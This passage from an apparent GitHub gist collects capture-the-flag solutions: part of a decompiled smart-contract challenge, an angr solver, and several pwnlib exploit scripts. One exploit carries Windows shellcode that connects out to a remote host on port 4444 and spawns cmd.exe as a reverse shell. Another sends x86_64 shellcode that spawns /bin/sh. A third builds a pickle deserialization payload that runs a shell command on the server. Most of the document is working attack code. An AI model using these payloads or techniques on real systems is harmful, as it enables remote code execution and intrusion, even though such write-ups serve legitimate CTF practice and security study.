s9 = (v79 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v80 <= 0xb) { | |
invalid; | |
} | |
v81 = MEM[s1 + 0x2b..+0x20]; | |
v82 = MEM[s1..+0x20]; | |
s10 = (v81 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v82 <= 0xc) { | |
invalid; | |
} | |
v83 = MEM[s1 + 0x2c..+0x20]; | |
v84 = MEM[0x40..+0x20]; | |
MEM[v84..+0x20] = s4 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 1..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 2..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 3..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 4..+0x20] = s8 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 5..+0x20] = s9 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 6..+0x20] = s10 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v84 + 7..+0x20] = ((v83 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
v85 = MEM[0x40..+0x20]; | |
v86 = SHA3(MEM[v85..+(v84 + 8) - v85]); | |
s4 = v86 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff; | |
s5 = block.number; | |
s6 = 0x74f794a249c48cbd04; | |
if (!block.number) { | |
invalid; | |
} | |
v87 = MEM[0x40..+0x20]; | |
MEM[v87..+0x20] = ((s6 / s5) * 0x1000000000000000000000000000000000000000000000000) & 0xffffffffffffffff000000000000000000000000000000000000000000000000; | |
v88 = MEM[0x40..+0x20]; | |
v89 = SHA3(MEM[v88..+(v87 + 8) - v88]); | |
if ((v89 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) != s4) { | |
invalid; | |
} | |
fct_01dbd(0x1781); | |
v90 = MEM[0x40..+0x20]; | |
MEM[v90..+0x20] = 0xb220f73c00000000000000000000000000000000000000000000000000000000; | |
MEM[v90 + 4..+0x20] = (v90 + 0x24) - (v90 + 4); | |
v91 = MEM[s1..+0x20]; | |
MEM[v90 + 0x24..+0x20] = v91; | |
v92 = MEM[s1..+0x20]; | |
s15 = 0; | |
while (s15 < v92) { | |
v93 = MEM[s1 + s15 + 0x20..+0x20]; | |
MEM[v90 + s15 + 0x44..+0x20] = v93; | |
s15 += 0x20; | |
} | |
s9 = v92 + v90 + 0x44; | |
s10 = v92 & 0x1f; | |
if (v92 & 0x1f) { | |
v94 = MEM[s9 - s10..+0x20]; | |
MEM[s9 - s10..+0x20] = ~(0x100**(0x20 - s10) - 1) & v94; | |
s9 = (s9 - s10) + 0x20; | |
} | |
v95 = MEM[0x40..+0x20]; | |
s9 -= v95; | |
if (!EXTCODESIZE(address(this))) { | |
revert(); | |
} | |
v96 = CALL(msg.gas, address(this), 0, v95, s9, v95, 0); | |
if (!v96) { | |
revert(); | |
} | |
return; // to: s0 | |
} | |
function fct_f605fa57() public { // id: 00248 | |
v6 = MEM[0x40..+0x20]; | |
MEM[0x40..+0x20] = v6 + ((msg.data[msg.data[4..+0x20] + 4..+0x20] + 0x1f) / 0x20) * 0x20 + 0x20; | |
MEM[v6..+0x20] = msg.data[msg.data[4..+0x20] + 4..+0x20]; | |
MEM[v6 + 0x20..+msg.data[msg.data[4..+0x20] + 4..+0x20]] = msg.data[msg.data[4..+0x20] + 0x24..+msg.data[msg.data[4..+0x20] + 4..+0x20]]; | |
fct_01869(0x298, v6); | |
return; | |
} | |
function fct_01869(s0, s1) private { // id: 01869 | |
if (msg.value != 0x2a) { | |
selfdestruct(0); | |
} | |
fct_01dbd(0x1884); | |
if (tx.gasprice != 0x66a44) { | |
invalid; | |
} | |
fct_01dbd(0x189c); | |
v97 = MEM[s1..+0x20]; | |
if (v97 <= 0x1a) { | |
invalid; | |
} | |
v98 = MEM[s1 + 0x3a..+0x20]; | |
v99 = MEM[s1..+0x20]; | |
s5 = (v98 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v99 <= 0x1b) { | |
invalid; | |
} | |
v100 = MEM[s1 + 0x3b..+0x20]; | |
v101 = MEM[s1..+0x20]; | |
s6 = (v100 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v101 <= 0x1c) { | |
invalid; | |
} | |
v102 = MEM[s1 + 0x3c..+0x20]; | |
v103 = MEM[s1..+0x20]; | |
s7 = (v102 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (v103 <= 0x1d) { | |
invalid; | |
} | |
v104 = MEM[s1 + 0x3d..+0x20]; | |
v105 = MEM[0x40..+0x20]; | |
MEM[v105..+0x20] = s5 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v105 + 1..+0x20] = s6 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v105 + 2..+0x20] = s7 & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
MEM[v105 + 3..+0x20] = ((v104 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) & 0xff00000000000000000000000000000000000000000000000000000000000000; | |
v106 = MEM[0x40..+0x20]; | |
v107 = SHA3(MEM[v106..+(v105 + 4) - v106]); | |
s2 = v107; | |
fct_01dbd(0x1b48); | |
/* | |
for i := 0..flaglen-1: | |
flag[i] ^= 0x2a | |
*/ | |
s3 = 0; | |
while (1) { | |
v108 = MEM[s1..+0x20]; | |
if (s3 >= v108) { | |
break; | |
} | |
v109 = MEM[s1..+0x20]; | |
s6 = s1; | |
s7 = s3; | |
s5 = msg.value * 0x100000000000000000000000000000000000000000000000000000000000000; | |
if (s3 >= v109) { | |
invalid; | |
} | |
v110 = MEM[s1 + s3 + 0x20..+0x20]; | |
MEM[s6 + s7 + 0x20] = BYTE(0, (((v110 / 0x100000000000000000000000000000000000000000000000000000000000000) * 0x100000000000000000000000000000000000000000000000000000000000000) ^ s5) & 0xff00000000000000000000000000000000000000000000000000000000000000) & 0xff; | |
s3 += 1; | |
} | |
fct_01dbd(0x1c17); | |
v111 = MEM[0x40..+0x20]; | |
MEM[v111..+0x20] = 0xd638577800000000000000000000000000000000000000000000000000000000; | |
MEM[v111 + 4..+0x20] = (v111 + 0x24) - (v111 + 4); | |
v112 = MEM[s1..+0x20]; | |
MEM[v111 + 0x24..+0x20] = v112; | |
v113 = MEM[s1..+0x20]; | |
s16 = 0; | |
while (s16 < v113) { | |
v114 = MEM[s1 + s16 + 0x20..+0x20]; | |
MEM[v111 + s16 + 0x44..+0x20] = v114; | |
s16 += 0x20; | |
} | |
s10 = v113 + v111 + 0x44; | |
s11 = v113 & 0x1f; | |
if (v113 & 0x1f) { | |
v115 = MEM[s10 - s11..+0x20]; | |
MEM[s10 - s11..+0x20] = ~(0x100**(0x20 - s11) - 1) & v115; | |
s10 = (s10 - s11) + 0x20; | |
} | |
v116 = MEM[0x40..+0x20]; | |
s13 = address(this); | |
s10 -= v116; | |
if (!EXTCODESIZE(address(this))) { | |
revert(); | |
} | |
v117 = CALL(msg.gas, s13, 0, v116, s10, v116, 0); | |
if (!v117) { | |
revert(); | |
} | |
if (msg.value == 0x73686974636f696e) { // 'shitcoin' | |
invalid; | |
} | |
fct_01dbd(0x1d19); | |
MEM[0x21c..+4] = EXTCODE(msg.sender, 0x59, 4); // 't00l' | |
v118 = MEM[0x200..+0x20]; | |
s4 = v118; | |
fct_01dbd(0x1d30); | |
v119 = MEM[0x40..+0x20]; | |
MEM[v119..+0x20] = (s4 * 0x100000000000000000000000000000000000000000000000000000000) & 0xffffffff00000000000000000000000000000000000000000000000000000000; | |
v120 = MEM[0x40..+0x20]; | |
v121 = SHA3(MEM[v120..+(v119 + 4) - v120]); | |
if ((v121 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) == (s2 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)) { | |
return; // to: s0 | |
} | |
invalid; | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# https://github.com/niklasb/ctf-tools | |
from pwnlib.tools import * | |
connect() | |
vprotect = 0x77e41fe3 # no ASLR on ntdll, lul | |
loc = 0x12f524 # no ASLR on stack either, LUL WINDOWS IS HIGH | |
sc = r''' | |
sub esp, 0x2000 | |
sub esp, 0x100 | |
push esp | |
push 0x202 | |
mov eax, 0x71c04f3b ; WSAStartup | |
call eax | |
push 0 | |
push 0 | |
push 0 | |
push 6 | |
push 1 | |
push 2 | |
mov eax, 0x71c11240 ; WSASocketA | |
call eax | |
mov edi, eax | |
push 0x8b33c780 ; kitctf.de | |
push word 0x5c11 ; 0x115c = port 4444 | |
xor ebx, ebx | |
add bl, 2 | |
push word bx | |
mov edx, esp | |
push 16 | |
push edx | |
push edi | |
mov eax, 0x71c0446a | |
call eax ; connect(s1, (SOCKADDR*) &hax, sizeof(hax) = 16); | |
push 0x41414141 | |
mov eax, esp | |
mov edx, 0x646d6363 | |
shr edx, 8 | |
push edx | |
mov ecx, esp | |
xor edx, edx | |
sub esp, 16 | |
mov ebx, esp ; PROCESS_INFORMATION | |
push edi | |
push edi | |
push edi | |
push edx | |
push edx | |
xor eax, eax | |
inc eax | |
rol eax, 8 | |
inc eax | |
push eax | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
push edx | |
xor eax, eax | |
add al, 44 | |
push eax | |
mov eax, esp ; STARTUP_INFO | |
push ebx ; PROCESS_INFORMATION | |
push eax ; STARTUP_INFO | |
push edx | |
push edx | |
push edx | |
xor eax, eax | |
inc eax | |
push eax | |
push edx | |
push edx | |
push ecx | |
push edx | |
mov eax, 0x77e424a9 ; CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi); | |
call eax | |
push 0 | |
push 4 | |
push eax | |
push edi | |
mov eax, 0x71c02ec2 | |
call eax | |
x: | |
jmp x | |
''' | |
sc = x86.assemble(sc) | |
assert len(sc) <= 200 | |
payload = sc | |
payload += 'a'*(200-len(payload)) | |
payload += p32(vprotect) | |
payload += p32(loc) | |
payload += p32(loc & ~0xfff) | |
payload += p32(0x1000) | |
payload += p32(0x40) | |
payload += p32(loc + 0x100) | |
send(payload) | |
leak = readn(4) | |
print repr(leak) | |
# interact() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# https://github.com/niklasb/ctf-tools | |
from pwnlib.tools import * | |
sc = x86_64.assemble(''' | |
push 0x40086d | |
ret''') | |
assert not '\n' in sc | |
print len(set(sc)) | |
sc2 = x86_64.assemble(""" | |
; dup2(1, 0) | |
push 1 | |
pop rdi | |
push 0 | |
pop rsi | |
push 33 | |
pop rax | |
syscall | |
; shell | |
xor rdi, rdi | |
push rdi | |
push rdi | |
pop rsi | |
pop rdx | |
mov rdi, 0x68732f6e69622f2f | |
shr rdi, 8 | |
push rdi | |
push rsp | |
pop rdi | |
push 0x3b | |
pop rax | |
syscall | |
""") | |
sc += '\n'+sc2+'\n' | |
connect() | |
send(sc) | |
time.sleep(1) | |
send('a'*0x300) | |
time.sleep(1) | |
send('a'*0x300) | |
enjoy() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import angr, claripy, sys, base64, struct | |
from IPython import embed | |
from subprocess import Popen, PIPE | |
raw = open(sys.argv[1]).read() | |
p = angr.Project(sys.argv[1]) | |
base = 0x400000 | |
u32 = lambda x: struct.unpack("<I", x)[0] | |
def solve(offset): | |
exit = offset | |
while raw[exit] != '\xe8': | |
exit += 1 | |
exit = (exit+5+u32(raw[exit+1:exit+5]))%2**32 | |
end = offset | |
while raw[end] != '\xc3' or raw[end-4:end-1] != '\x48\x83\xc4': | |
end += 1 | |
state = p.factory.blank_state(addr=base+offset, | |
add_options={angr.options.LAZY_SOLVES}) | |
inp = state.regs.rdi | |
state.se.add(inp <= 0x7e) | |
state.se.add(inp >= 0x20) | |
sm = p.factory.simgr(state) | |
while sm.active: | |
sm.explore(find=base+end, avoid=base+exit) | |
assert len(sm.found) == 1 | |
s = sm.found[0] | |
return s.se.eval(inp) | |
pattern = '\x48\x81\xec????\x48\x8d\x84\x24????\x48\x89\xbc\x24????\x48\x89\x84\x24????\xe8' | |
pattern2 = '\x48\x81\xec????\x48\x8d\x44\x24?\x48\x89\x7c\x24?\x48\x89\x44\x24?\xe8' | |
candidates = [] | |
for start in range(0, 0x50000): | |
match1=True | |
for i in range(len(pattern)): | |
if raw[start+i] != pattern[i] and pattern[i] != '?': | |
match1=False | |
break | |
match2=True | |
for i in range(len(pattern2)): | |
if raw[start+i] != pattern2[i] and pattern2[i] != '?': | |
match2=False | |
break | |
if match1 or match2: | |
candidates.append(start) | |
print 'candidates = %d' % len(candidates) | |
assert len(candidates) == 1 | |
start = candidates[0] | |
end = start | |
while raw[end] != '\xc3' or raw[end-7:end-4] != '\x48\x81\xc4': | |
end += 1 | |
print 'checker @ %x - %x' % (start, end) | |
chain = [] | |
for cur in range(start, end): | |
if raw[cur] == '\xe8' and ( | |
raw[cur+5:cur+7]=='\x48\x8d' or | |
raw[cur+5:cur+7]=='\x48\xc7' or | |
raw[cur+5] == '\xb9'): | |
chain.append(cur) | |
continue | |
print 'chain length =', len(chain) | |
checkers = [] | |
res = '' | |
for c in chain: | |
target = (c+5+u32(raw[c+1:c+5]))&0xffffffff | |
print hex(c) | |
assert raw[target:target+3] == '\x48\x83\xec', hex(target) | |
res += chr(solve(target)) | |
print res | |
with open(sys.argv[1]+'.sol', 'w') as f: | |
f.write(res) | |
print base64.b64encode(res) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
# https://github.com/niklasb/ctf-tools | |
from pwnlib.tools import * | |
import cPickle | |
import os | |
import sys | |
import base64 | |
COMMAND = 'cat /chal/flag.txt' | |
class PickleRce(object): | |
def __reduce__(self): | |
return (os.system,(COMMAND,)) | |
payload = cPickle.dumps(PickleRce()) | |
connect() | |
ru('n) ') | |
sendln('n') | |
ru('is: ') | |
uuid = ru('\n').strip() | |
print 'uuid = %s' % uuid | |
s2 = socket.create_connection((HOST, PORT)) | |
ru(s2, 'n) ') | |
sendln(s2, 'y') | |
ru(s2, '?\n') | |
sendln(s2, uuid) | |
ru(s2, 'username: ') | |
sendln(s2, u'xxx') | |
ru(s2, 'choice: ') | |
sendln(s2, '0') | |
ru(s2, 'choice: ') | |
s1 = socket.create_connection((HOST, PORT)) | |
ru(s1, 'n) ') | |
sendln(s1, 'y') | |
ru(s1, '?\n') | |
sendln(s1, uuid) | |
ru(s1, 'username: ') | |
sendln(s1, u'xxx') | |
ru(s1, 'choice: ') | |
sendln(s1, '1') | |
ru(s1, 'choice: ') | |
sendln(s1, '0') | |
ru(s1, 'name: ') | |
sendln(s1, 'xxx') | |
ru(s1, 'content: \n') | |
sendln(s1, payload + '\n\n') | |
sendln(s2, '1') | |
ru(s2, 'name: ') | |
sendln(s2, 'xxx') | |
interact(s2) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment